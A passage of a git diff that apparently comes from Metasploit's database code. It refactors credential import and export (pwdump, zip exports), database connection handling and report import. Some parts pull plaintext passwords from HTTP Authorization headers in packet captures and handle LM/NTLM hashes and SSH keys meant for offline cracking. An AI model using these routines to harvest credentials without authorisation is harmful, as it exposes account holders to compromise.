TODO This check for our zip export should be more extensive + if xml_files.empty? + raise DBImportError.new("The zip file provided is not a Metasploit Zip Export") + end + + @import_filedata[:zip_xml] = xml_files.first + @import_filedata[:type] = "Metasploit Zip Export" + + return :msf_zip end if data and data.kind_of? PacketFu::PcapFile @@ -2959,6 +3034,12 @@ class DBManager return :libpcap end + # msfpwdump + if data.present? && data.kind_of?(::File) + @import_filedata[:type] = "Metasploit PWDump Export" + return :msf_pwdump + end + # This is a text string, lets make sure its treated as binary data = data.unpack("C*").pack("C*") if data and data.to_s.strip.length == 0 @@ -3090,7 +3171,7 @@ class DBManager return :netsparker_xml elsif (firstline.index("# Metasploit PWDump Export")) # then it's a Metasploit PWDump export - @import_filedata[:type] = "msf_pwdump" + @import_filedata[:type] = "Metasploit PWDump Export" return :msf_pwdump end @@ -3171,7 +3252,7 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| data = f.read(f.stat.size) - end + end import_wapiti_xml(args.merge(:data => data)) end @@ -3321,7 +3402,7 @@ class DBManager end end # tcp or udp - inspect_single_packet(pkt,wspace,args[:task]) + inspect_single_packet(pkt,wspace,args) end # data.body.map @@ -3334,16 +3415,17 @@ class DBManager # Do all the single packet analysis we can while churning through the pcap # the first time. Multiple packet inspection will come later, where we can # do stream analysis, compare requests and responses, etc. - def inspect_single_packet(pkt,wspace,task=nil) + def inspect_single_packet(pkt,wspace,args) if pkt.is_tcp? or pkt.is_udp? - inspect_single_packet_http(pkt,wspace,task) + inspect_single_packet_http(pkt,wspace,args) end end # Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0 # line, contains an Authorization line, contains a b64-encoded credential, and # extracts it. Reports this credential and solidifies the service as HTTP. - def inspect_single_packet_http(pkt,wspace,task=nil) + def inspect_single_packet_http(pkt,wspace,args) + task = args.fetch(:task, nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n @@ -3387,17 +3469,37 @@ class DBManager :name => "http", :task => task ) - report_auth_info( - :workspace => wspace, - :host => pkt.ip_daddr, - :port => pkt.tcp_dst, - :proto => "tcp", - :type => "password", - :active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is. - :user => user, - :pass => pass, - :task => task - ) + + service_data = { + address: pkt.ip_daddr, + port: pkt.tcp_dst, + service_name: 'http', + protocol: 'tcp', + workspace_id: wspace.id + } + service_data[:task_id] = task.id if task + + filename = args[:filename] + + credential_data = { + origin_type: :import, + private_data: pass, + private_type: :password, + username: user, + filename: filename + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + # That's all we want to know from this service. return :something_significant end @@ -3441,96 +3543,15 @@ class DBManager end end - # - # Metasploit PWDump Export - # - # This file format is generated by the db_export -f pwdump and - # the Metasploit Express and Pro report types of "PWDump." - # - # This particular block scheme is temporary, since someone is - # bound to want to import gigantic lists, so we'll want a - # stream parser eventually (just like the other non-nmap formats). - # - # The file format is: - # # 1.2.3.4:23/tcp (telnet) - # username password - # user2 p\x01a\x02ss2 - # <BLANK> pass3 - # user3 <BLANK> - # smbuser:sid:lmhash:nthash::: - # - # Note the leading hash for the host:port line. Note also all usernames - # and passwords must be in 7-bit ASCII (character sequences of "\x01" - # will be interpolated -- this includes spaces, which must be notated - # as "\x20". Blank usernames or passwords should be <BLANK>. - # + + # Perform in an import of an msfpwdump file def import_msf_pwdump(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - last_host = nil - - addr = nil - port = nil - proto = nil - sname = nil - ptype = nil - active = false # Are there cases where imported creds are good? I just hate trusting the import right away. - - data.each_line do |line| - case line - when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] - addr = $1 - port = $2 - proto = $4 - sname = $6 - end - when /^[\s]*Warning:/ - next # Discard warning messages. - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ # SMB Hash - user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 - pass = ([nil, "<BLANK>"].include?($2)) ? "" : $2 - ptype = "smb_hash" - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ # SMB Hash - user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 - pass = "" - ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass - user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1) - pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2) - ptype = "password" - else # Some unknown line not broken by a space. - next - end - - next unless [addr,port,user,pass].compact.size == 4 - next unless ipv46_validator(addr) # Skip Malformed addrs - next unless port[/^[0-9]+$/] # Skip malformed ports - if bl.include? addr - next - else - yield(:address,addr) if block and addr != last_host - last_host = addr - end - - cred_info = { - :host => addr, - :port => port, - :user => user, - :pass => pass, - :type => ptype, - :workspace => wspace, - :task => args[:task] - } - cred_info[:proto] = proto if proto - cred_info[:sname] = sname if sname - cred_info[:active] = active - - report_auth_info(cred_info) - user = pass = ptype = nil - end - + filename = File.basename(args[:data].path) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: filename) + importer = Metasploit::Credential::Importer::Pwdump.new(input: args[:data], workspace: wspace, filename: filename, origin:origin) + importer.import! + importer.input.close unless importer.input.closed? end # If hex notation is present, turn them into a character. @@ -3581,7 +3602,7 @@ class DBManager # XXX: Refactor so it's not quite as sanity-blasting. def import_msf_zip(args={}, &block) data = args[:data] - wpsace = args[:wspace] || workspace + wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) @@ -3611,16 +3632,24 @@ class DBManager end } - data.entries.each do |e| - target = ::File.join(@import_filedata[:zip_tmp],e.name) - ::File.unlink target if ::File.exists?(target) # Yep. Deleted. + target = ::File.join(@import_filedata[:zip_tmp], e.name) data.extract(e,target) - if target =~ /^.*.xml$/ + + if target =~ /\.xml\z/ target_data = ::File.open(target, "rb") {|f| f.read 1024} if import_filetype_detect(target_data) == :msf_xml @import_filedata[:zip_extracted_xml] = target - #break + end + end + end + + # Import any creds if there are some in the import file + Dir.entries(@import_filedata[:zip_tmp]).each do |entry| + if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ + manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + if File.exists? manifest_file_path + import_msf_cred_dump(manifest_file_path, wspace) end end end @@ -3787,43 +3816,80 @@ class DBManager # Import Reports doc.elements.each("/#{btag}/reports/report") do |report| - tmp = args[:ifd][:zip_tmp] - report_info = {} - report_info[:workspace] = args[:wspace] - # Should user be imported (original) or declared (the importing user)? - report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip) - report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip) - report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip) - report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip) - report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip) - report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip) - report_info[:task] = args[:task] - report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path] - - # Only report a report if we actually have it. - # TODO: Copypasta. Seperate this out. - if ::File.exists? report_info[:orig_path] - reports_dir = ::File.join(basedir,"reports") - report_file = ::File.split(report_info[:orig_path]).last - if ::File.exists? reports_dir - unless (::File.directory?(reports_dir) && ::File.writable?(reports_dir)) - raise DBImportError.new("Could not move files to #{reports_dir}") - end - else - ::FileUtils.mkdir_p(reports_dir) - end - new_report = ::File.join(reports_dir,report_file) - report_info[:path] = new_report - if ::File.exists?(new_report) - ::File.unlink new_report - else - report_report(report_info) - end - ::FileUtils.copy(report_info[:orig_path], new_report) - yield(:msf_report, new_report) if block - end + import_report(report, args, basedir) end + end + # Import credentials given a path to a valid manifest file + # + # @param creds_dump_manifest_path [String] + # @param workspace [Mdm::Workspace] Default: {#workspace} + # @return [void] + def import_msf_cred_dump(creds_dump_manifest_path, workspace) + manifest_file = File.open(creds_dump_manifest_path) + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(creds_dump_manifest_path)) + importer = Metasploit::Credential::Importer::Core.new(workspace: workspace, input: manifest_file, origin: origin) + importer.import! + end + + # Import credentials given a path to a valid manifest file + # + # @option args [String] :filename + # @option args [Mdm::Workspace] :wspace Default: {#workspace} + # @return [void] + def import_msf_cred_dump_zip(args = {}) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(args[:filename])) + importer = Metasploit::Credential::Importer::Zip.new(workspace: wspace, input: File.open(args[:filename]), origin: origin) + importer.import! + nil + end + + # @param report [REXML::Element] to be imported + # @param args [Hash] + # @param base_dir [String] + def import_report(report, args, base_dir) + tmp = args[:ifd][:zip_tmp] + report_info = {} + + report.elements.each do |e| + node_name = e.name + node_value = e.text + + # These need to be converted back to arrays: + array_attrs = %w|addresses file-formats options sections| + if array_attrs.member? node_name + node_value = JSON.parse(node_value) + end + # Don't restore these values: + skip_nodes = %w|id workspace-id artifacts| + next if skip_nodes.member? node_name + + report_info[node_name.parameterize.underscore.to_sym] = node_value + end + # Use current workspace + report_info[:workspace_id] = args[:wspace].id + + # Create report, need new ID to record artifacts + report_id = report_report(report_info) + + # Handle artifacts + report.elements['artifacts'].elements.each do |artifact| + artifact_opts = {} + artifact.elements.each do |attr| + skip_nodes = %w|id accessed-at| + next if skip_nodes.member? attr.name + + symboled_attr = attr.name.parameterize.underscore.to_sym + artifact_opts[symboled_attr] = attr.text + end + # Use new Report as parent + artifact_opts[:report_id] = report_id + # Update to full path + artifact_opts[:file_path].gsub!(/^\./, tmp) + + report_artifact(artifact_opts) + end end # Convert the string "NULL" to actual nil @@ -4216,7 +4282,10 @@ class DBManager parser = Rex::Parser::RetinaXMLStreamParser.new parser.on_found_host = Proc.new do |host| hobj = nil - data = {:workspace => wspace} + data = { + :workspace => wspace, + :task => args[:task] + } addr = host['address'] next if not addr @@ -5631,19 +5700,19 @@ class DBManager # Pull out vulnerabilities that have at least one matching # ref -- many "vulns" are not vulns, just audit information. - def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block) host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi| next unless vi.elements["QID"] vi.elements.each("QID") do |qid| next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty? - handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task]) + handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id) end end end # Takes QID numbers and finds the discovered services in # a qualys_asset_xml. - def find_qualys_asset_ports(i,host,wspace,hobj) + def find_qualys_asset_ports(i,host,wspace,hobj,task_id) return unless (i == 82023 || i == 82004) proto = i == 82023 ? 'tcp' : 'udp' qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"] @@ -5656,7 +5725,7 @@ class DBManager else name = match[2].strip end - handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task]) + handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id) end end end @@ -5700,11 +5769,11 @@ class DBManager end # Report open ports. - find_qualys_asset_ports(82023,host,wspace,hobj) # TCP - find_qualys_asset_ports(82004,host,wspace,hobj) # UDP + find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP + find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP # Report vulns - find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block) end # host diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index ad79e6a02b..45e7f48ff7 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -28,175 +28,19 @@ class Export true end - # Creates the PWDUMP text file. smb_hash and ssh_key credentials are - # treated specially -- all other ptypes are treated as plain text. - # - # Some day in the very near future, this file format will be importable -- - # the comment preceding the credential is always in the format of IPAddr:Port/Proto (name), - # so it should be a simple matter to read them back in and store credentials - # in the right place. Finally, this format is already parsable by John the Ripper, - # so hashes can be bruteforced offline. + + # Performs an export of the workspace's `Metasploit::Credential::Login` objects in pwdump format + # @param path [String] the path on the local filesystem where the exported data will be written + # @return [void] def to_pwdump_file(path, &block) - yield(:status, "start", "password dump") if block_given? - creds = extract_credentials - report_file = ::File.open(path, "wb") - report_file.write "# Metasploit PWDump Export v1\n" - report_file.write "# Generated: #{Time.now.utc}\n" - report_file.write "# Project: #{myworkspace.name}\n" - report_file.write "#\n" - report_file.write "#" * 40; report_file.write "\n" + exporter = Metasploit::Credential::Exporter::Pwdump.new(workspace: workspace) - count = count_credentials("smb_hash",creds) - scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0 - yield(:status, "start", "LM/NTLM Hash dump") if block_given? - report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_hash",creds,report_file) - - count = count_credentials("smb_netv1_hash",creds) - scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0 - yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given? - report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv1_hash",creds,report_file) - - count = count_credentials("smb_netv2_hash",creds) - scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0 - yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given? - report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv2_hash",creds,report_file) - - count = count_credentials("ssh_key",creds) - scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0 - yield(:status, "start", "SSH Key dump") if block_given? - report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count] - write_credentials("ssh_key",creds,report_file) - - count = count_credentials("text",creds) - scount = creds.has_key?("text") ? creds["text"].size : 0 - yield(:status, "start", "Plaintext Credential dump") if block_given? - report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count] - write_credentials("text",creds,report_file) - - report_file.flush - report_file.close - yield(:status, "complete", "password dump") if block_given? + File.open(path, 'w') do |file| + file << exporter.rendered_output + end true end - # Counts the total number of credentials for its type. - def count_credentials(ptype,creds) - sz = 0 - if creds[ptype] - creds[ptype].each_pair { |svc, data| data.each { |c| sz +=1 } } - end - return sz - end - - # Formats credentials according to their type, and writes it out to the - # supplied report file. Note for reimporting: Blank values are <BLANK> - def write_credentials(ptype,creds,report_file) - if creds[ptype] - creds[ptype].each_pair do |svc, data| - report_file.write "# #{svc}\n" - case ptype - when "smb_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - report_file.write "%s:%d:%s:::\n" % [user,c.id,pass] - end - when "smb_netv1_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - report_file.write "%s::%s\n" % [user,pass] - end - when "smb_netv2_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - if pass != "<BLANK>" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>" - end - if pass == "<BLANK>" - # Basically this is an error (maybe around [\x20-\x7e] in regex) above - report_file.write(user + "::" + pass + ":") - report_file.write(pass + ":" + pass + ":" + pass + "\n") - else - datas = pass.split(":") - if datas[1] != "00" * 24 - report_file.write "# netlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[1][0,32] + ":" + datas[1][32,16] + "\n") - end - report_file.write "# netntlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[2][0,32] + ":" + datas[2][32..-1] + "\n") - end - end - when "ssh_key" - data.each do |c| - if ::File.exists?(c.pass) && ::File.readable?(c.pass) - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - key = ::File.open(c.pass) {|f| f.read f.stat.size} - key_id = (c.proof && c.proof[/^KEY=/]) ? c.proof[4,47] : "<NO-ID>" - report_file.write "#{user} '#{key_id}'\n" - report_file.write key - report_file.write "\n" unless key[-1,1] == "\n" - # Report file missing / permissions issues in the report itself. - elsif !::File.exists?(c.pass) - report_file.puts "Warning: missing private key file '#{c.pass}'." - else - report_file.puts "Warning: could not read the private key '#{c.pass}'." - end - end - else "text" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.user, true) - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s %s\n" % [user,pass] - end - end - report_file.flush - end - else - report_file.write "# No credentials for this type were discovered.\n" - end - report_file.write "#" * 40; report_file.write "\n" - end - - # Extracts credentials and organizes by type, then by host, and finally by individual - # credential data. Will look something like: - # - # {"smb_hash" => {"host1:445" => [user1,user2,user3], "host2:445" => [user4,user5]}}, - # {"ssh_key" => {"host3:22" => [user10,user20]}}, - # {"text" => {"host4:23" => [user100,user101]}} - # - # This hash of hashes of arrays is, in turn, consumed by gen_export_pwdump. - def extract_credentials - creds = Hash.new - creds["ssh_key"] = {} - creds["smb_hash"] = {} - creds["text"] = {} - myworkspace.each_cred do |cred| - next unless host_allowed?(cred.service.host.address) - # Skip anything that's not associated with a specific host and port - next unless (cred.service && cred.service.host && cred.service.host.address && cred.service.port) - # TODO: Toggle active/all - next unless cred.active - svc = "%s:%d/%s (%s)" % [cred.service.host.address,cred.service.port,cred.service.proto,cred.service.name] - case cred.ptype - when /^password/ - ptype = "text" - else - ptype = cred.ptype - end - creds[ptype] ||= {} - creds[ptype][svc] ||= [] - creds[ptype][svc] << cred - end - return creds - end - def to_xml_file(path, &block) @@ -205,7 +49,7 @@ class Export report_file = ::File.open(path, "wb") report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n| - report_file.write %Q|<MetasploitV4>\n| + report_file.write %Q|<MetasploitV5>\n| report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n| yield(:status, "start", "hosts") if block_given? @@ -226,12 +70,6 @@ class Export extract_service_info(report_file) report_file.write %Q|</services>\n| - yield(:status, "start", "credentials") if block_given? - report_file.write %Q|<credentials>\n| - report_file.flush - extract_credential_info(report_file) - report_file.write %Q|</credentials>\n| - yield(:status, "start", "web sites") if block_given? report_file.write %Q|<web_sites>\n| report_file.flush @@ -263,7 +101,7 @@ class Export report_file.write %Q|</module_details>\n| - report_file.write %Q|</MetasploitV4>\n| + report_file.write %Q|</MetasploitV5>\n| report_file.flush report_file.close @@ -277,7 +115,6 @@ class Export extract_host_entries extract_event_entries extract_service_entries - extract_credential_entries extract_note_entries extract_vuln_entries extract_web_entries @@ -306,8 +143,7 @@ class Export # Extracts all credentials from a project, storing them in @creds def extract_credential_entries - @creds = [] - myworkspace.each_cred {|cred| @creds << cred} + @creds = Metasploit::Credential::Core.with_logins.with_public.with_private.workspace_id(myworkspace.id) end # Extracts all notes from a project, storing them in @notes @@ -346,14 +182,18 @@ class Export end end - def create_xml_element(key,value) + def create_xml_element(key,value,skip_encoding=false) tag = key.gsub("_","-") el = REXML::Element.new(tag) if value - data = marshalize(value) - data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } - el << REXML::Text.new(data) + unless skip_encoding + data = marshalize(value) + data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } + el << REXML::Text.new(data) + else + el << value + end end return el end @@ -372,7 +212,7 @@ class Export def extract_module_detail_info(report_file) Mdm::Module::Detail.all.each do |m| report_file.write("<module_detail>\n") - m_id = m.attributes["id"] + #m_id = m.attributes["id"] # Module attributes m.attributes.each_pair do |k,v| @@ -572,22 +412,6 @@ class Export end report_file.write(" </vulns>\n") - # Credential sub-elements - report_file.write(" <creds>\n") - @creds.each do |cred| - next unless cred.service.host.id == host_id - report_file.write(" <cred>\n") - report_file.write(" #{create_xml_element("port",cred.service.port)}\n") - report_file.write(" #{create_xml_element("sname",cred.service.name)}\n") - cred.attributes.each_pair do |k,v| - next if k.strip =~ /id$/ - el = create_xml_element(k,v) - report_file.write(" #{el}\n") - end - report_file.write(" </cred>\n") - end - report_file.write(" </creds>\n") - report_file.write(" </host>\n") end report_file.flush @@ -621,19 +445,6 @@ class Export report_file.flush end - # Extract credential data from @creds - def extract_credential_info(report_file) - @creds.each do |c| - report_file.write(" <credential>\n") - c.attributes.each_pair do |k,v| - cr = create_xml_element(k,v) - report_file.write(" #{cr}\n") - end - report_file.write(" </credential>\n") - report_file.write("\n") - end - report_file.flush - end # Extract service data from @services def extract_service_info(report_file) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 52d3eac6d5..96079cd3d8 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -22,6 +22,13 @@ class DBManager include Msf::DBManager::Migration include Msf::Framework::Offspring + # + # CONSTANTS + # + + # The adapter to use to establish database connection. + ADAPTER = 'postgresql' + # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. def warn_about_rubies @@ -34,16 +41,19 @@ class DBManager # Returns true if we are ready to load/store data def active - return false if not @usable - # We have established a connection, some connection is active, and we have run migrations - (ActiveRecord::Base.connected? && ActiveRecord::Base.connection_pool.connected? && migrated)# rescue false + # usable and migrated a just Boolean attributes, so check those first because they don't actually contact the + # database. + usable && migrated && connection_established? end # Returns true if the prerequisites have been installed attr_accessor :usable # Returns the list of usable database drivers - attr_accessor :drivers + def drivers + @drivers ||= [] + end + attr_writer :drivers # Returns the active driver attr_accessor :driver @@ -86,9 +96,7 @@ class DBManager # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - require "active_record" - - initialize_metasploit_data_models + add_rails_engine_migration_paths @usable = true @@ -98,22 +106,10 @@ class DBManager return false end - # Only include Mdm if we're not using Metasploit commercial versions - # If Mdm::Host is defined, the dynamically created classes - # are already in the object space - begin - unless defined? Mdm::Host - MetasploitDataModels.require_models - end - rescue NameError => e - warn_about_rubies - raise e - end - # # Determine what drivers are available # - initialize_drivers + initialize_adapter # # Instantiate the database sink @@ -123,53 +119,69 @@ class DBManager true end + # Checks if the spec passed to `ActiveRecord::Base.establish_connection` can connect to the database. + # + # @return [true] if an active connection can be made to the database using the current config. + # @return [false] if an active connection cannot be made to the database. + def connection_established? + begin + # use with_connection so the connection doesn't stay pinned to the thread. + ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection.active? + } + rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error + elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}") + + false + end + end + # # Scan through available drivers # - def initialize_drivers - self.drivers = [] - tdrivers = %W{ postgresql } - tdrivers.each do |driver| + def initialize_adapter + ActiveRecord::Base.default_timezone = :utc + + if connection_established? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER + dlog("Already established connection to #{ADAPTER}, so reusing active connection.") + self.drivers << ADAPTER + self.driver = ADAPTER + else begin - ActiveRecord::Base.default_timezone = :utc - ActiveRecord::Base.establish_connection(:adapter => driver) - if(self.respond_to?("driver_check_#{driver}")) - self.send("driver_check_#{driver}") - end + ActiveRecord::Base.establish_connection(adapter: ADAPTER) ActiveRecord::Base.remove_connection - self.drivers << driver - rescue ::Exception + rescue Exception => error + @adapter_error = error + else + self.drivers << ADAPTER + self.driver = ADAPTER end end - - if(not self.drivers.empty?) - self.driver = self.drivers[0] - end - - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end # Loads Metasploit Data Models and adds its migrations to migrations paths. # # @return [void] - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + def add_rails_engine_migration_paths + unless defined? ActiveRecord + fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \ + "`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \ + "the .bundle/config manually and then `bundle install`" + end - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s + Rails.application.railties.engines.each do |engine| + migrations_paths = engine.paths['db/migrate'].existent_directories - # Since ActiveRecord::Migrator.migrations_paths can persist between - # instances of Msf::DBManager, such as in specs, - # metasploit_data_models_migrations_path may already be part of - # migrations_paths, in which case it should not be added or multiple - # migrations with the same version number errors will occur. - unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path + migrations_paths.each do |migrations_path| + # Since ActiveRecord::Migrator.migrations_paths can persist between + # instances of Msf::DBManager, such as in specs, + # migrations_path may already be part of + # migrations_paths, in which case it should not be added or multiple + # migrations with the same version number errors will occur. + unless ActiveRecord::Migrator.migrations_paths.include? migrations_path + ActiveRecord::Migrator.migrations_paths << migrations_path + end + end end end @@ -208,25 +220,22 @@ class DBManager begin self.migrated = false - create_db(nopts) - # Configure the database adapter - ActiveRecord::Base.establish_connection(nopts) + # Check ActiveRecord::Base was already connected by Rails::Application.initialize! or some other API. + unless connection_established? + create_db(nopts) - # Migrate the database, if needed - migrate - - # Set the default workspace - framework.db.workspace = framework.db.default_workspace - - # Flag that migration has completed - self.migrated = true + # Configure the database adapter + ActiveRecord::Base.establish_connection(nopts) + end rescue ::Exception => e self.error = e elog("DB.connect threw an exception: #{e}") dlog("Call stack: #{$@.join"\n"}", LEV_1) return false ensure + after_establish_connection + # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end @@ -234,6 +243,29 @@ class DBManager true end + # Finishes {#connect} after `ActiveRecord::Base.establish_connection` has succeeded by {#migrate migrating database} + # and setting {#workspace}. + # + # @return [void] + def after_establish_connection + self.migrated = false + + begin + # Migrate the database, if needed + migrate + + # Set the default workspace + framework.db.workspace = framework.db.default_workspace + rescue ::Exception => exception + self.error = exception + elog("DB.connect threw an exception: #{exception}") + dlog("Call stack: #{exception.backtrace.join("\n")}", LEV_1) + else + # Flag that migration has completed + self.migrated = true + end + end + # # Attempt to create the database # @@ -259,7 +291,13 @@ class DBManager errstr = e.to_s if errstr =~ /does not exist/i or errstr =~ /Unknown database/ ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.") - ActiveRecord::Base.establish_connection(opts.merge('database' => nil)) + ActiveRecord::Base.establish_connection( + opts.merge( + 'database' => 'postgres', + 'schema_search_path' => 'public' + ) + ) + ActiveRecord::Base.connection.create_database(opts['database']) else ilog("Trying to continue despite failed database creation: #{e}") @@ -678,7 +716,7 @@ class DBManager union.or(condition) } - query = query.where(unioned_conditions).uniq + query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname } end query diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb index 906ae489da..e3ffd53734 100644 --- a/lib/msf/core/db_manager/import_msf_xml.rb +++ b/lib/msf/core/db_manager/import_msf_xml.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class DBManager # Handles importing of the xml format exported by Pro. The methods are in a @@ -13,40 +14,40 @@ module Msf # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_page_element} MSF_WEB_PAGE_TEXT_ELEMENT_NAMES = [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_element}. MSF_WEB_TEXT_ELEMENT_NAMES = [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_vuln_element}. 